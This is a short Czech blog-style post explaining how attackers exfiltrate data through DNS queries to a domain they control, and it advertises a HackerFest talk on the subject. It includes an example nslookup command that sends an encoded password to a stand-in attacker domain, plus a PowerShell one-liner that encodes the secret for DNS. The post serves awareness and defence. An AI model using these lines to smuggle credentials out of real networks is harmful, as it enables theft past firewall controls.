Jste si jistí? Poslední hitovka je komunikace skrze firewally pomocí DNS. Inspektujete DNS? Ha? Já zde uvedu jenom tu nejjednodušší a nejtrapnější formu, na zbytek se přijďte podívat na Williho přednášku na konferenci HackerFest. Dneska jsem se zhrozil, jak brzo to už bude!!!
Jestli mají vaše firemní počítače alespoň nějaký, možná i omezený, přístup do internetu, tak to znamená, že mohou generovat DNS dotazy. Buď jim tuto službu je ochoten obstarat vnitřní DNS server, což pak znamená, že dokonce mohou dostat odpověď. Pokud jsou natolik blokovaní, že musí chodit do internetu přes proxy, pořád mohou generovat alespoň dotazy - když se pokusí přes proxy přistoupit na nějakou stránku, proxy sama si musí vygenerovat DNS dotaz, že?
No a to je celá věda.
Představte si, že si útočník koupí prostě nějakou stupidní doménu a pro ni si za pár korun zařídí někde svůj DNS server - stačí třeba Azure trialka. To je otázka pár minut a nějaké anonymní blesk peněženky.
Když potom chce odeslat nenápadně data z napadeného počítače do internetu, stačí vygenerovat DNS dotaz na nějaké neexistující jméno ze své domény. A do toho jména proště zakódovat data. U sebe na DNS serveru to nechá odmítnout jako neexistující a přitom si to odchytává a rekonstruuje.
Příkladem je dotaz na něco takového:
nslookup hesloTohoBlaznaJePwd123.nesmyslnyutocnikxx.cz
Pokud to nejde zadat do nslookup, stačí to napsat do prohlížeče a proxy už se zeptá za vás.
Pokud funguje přímá DNS metoda a nemusíte chodit přes HTTP proxy, může dokonce komunikace probíhat obousměrně, protože do DNS odpovědí je možno vložit mnoho dat - zvlášť dneska, když mohou být větší než 512 byte kvůli DNSSEC, což už všichni podporují.
Samozřejmě to rádi zakódujete, protože DNS jména mohou obsahovat jen písmena, čísla, pomlčku a tečku. Takže krásně použijete Base-64. V powershellu třeba takto:
[Convert]::ToBase64String(([Text.ASCIIEncoding]::ASCII.GetBytes('hesloTohoBlaznaJePwd123'))).Replace('=', '-').Replace('/', '.')
A je to venku :-)
Na to, jak to útočníci optimalizují na objem, zašifrování, kompresi, obousměrnou komunikaci, steganografii a jak se tomu alespoň trošku bránit se přijďte podívat na letošní HackerFest.